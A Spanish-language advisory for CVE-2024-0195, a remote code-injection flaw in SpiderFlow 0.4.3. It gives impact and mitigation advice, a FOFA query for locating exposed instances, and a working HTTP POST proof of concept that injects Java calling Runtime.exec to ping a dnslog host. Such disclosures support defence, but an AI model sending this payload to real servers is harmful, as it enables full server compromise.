
Exploit de prueba de concepto para CVE-2024-0195, una vulnerabilidad crítica de inyección de código en SpiderFlow 0.4.3 que permite la ejecución remota de código a través del endpoint FunctionService.saveFunction.
CVE-2024-0195 es una vulnerabilidad crítica de inyección de código en la aplicación web spider-flow 0.4.3, específicamente en la función FunctionService.saveFunction del archivo FunctionController.java. Un atacante puede inyectar código malicioso de forma remota que se ejecuta en el servidor. Esto permite un compromiso total de la aplicación.
Esta vulnerabilidad es extremadamente grave, ya que permite la ejecución remota de código en el servidor que aloja la aplicación vulnerable spider-flow. Un atacante podría comprometer completamente el servidor, robar datos sensibles, instalar malware o mineros de criptomonedas, y utilizarlo para más ataques dentro de la red. La confidencialidad, integridad y disponibilidad de la aplicación y el servidor se ven gravemente afectadas.
No se menciona explícitamente una versión parcheada, por lo que actualmente no parece haber una opción de parche. La vulnerabilidad fue divulgada públicamente y existen exploits disponibles, por lo que la mitigación inmediata es crítica.
Hasta que se publique un parche oficial, spider-flow 0.4.3 debe desconectarse inmediatamente o restringir el acceso solo a redes/usuarios de confianza. Los firewalls de aplicaciones web u otros controles de validación de entrada podrían configurarse potencialmente para detectar y bloquear intentos de ataque de inyección de código como una mitigación provisional. Sin embargo, estas no son soluciones completas y la versión vulnerable debe actualizarse tan pronto como esté disponible una versión corregida.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
FOFA : app="spiderflow"
✔ Prueba de concepto
POST /function/save HTTP/1.1
Host: 192.168.116.128:8080
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 139
id=&name=test¶meter=test&script=return+java.lang.%2F****%2FRuntime%7D%3Br%3Dtest()%3Br.getRuntime().exec('ping+18k2tu.dnslog.cn')%3B%7B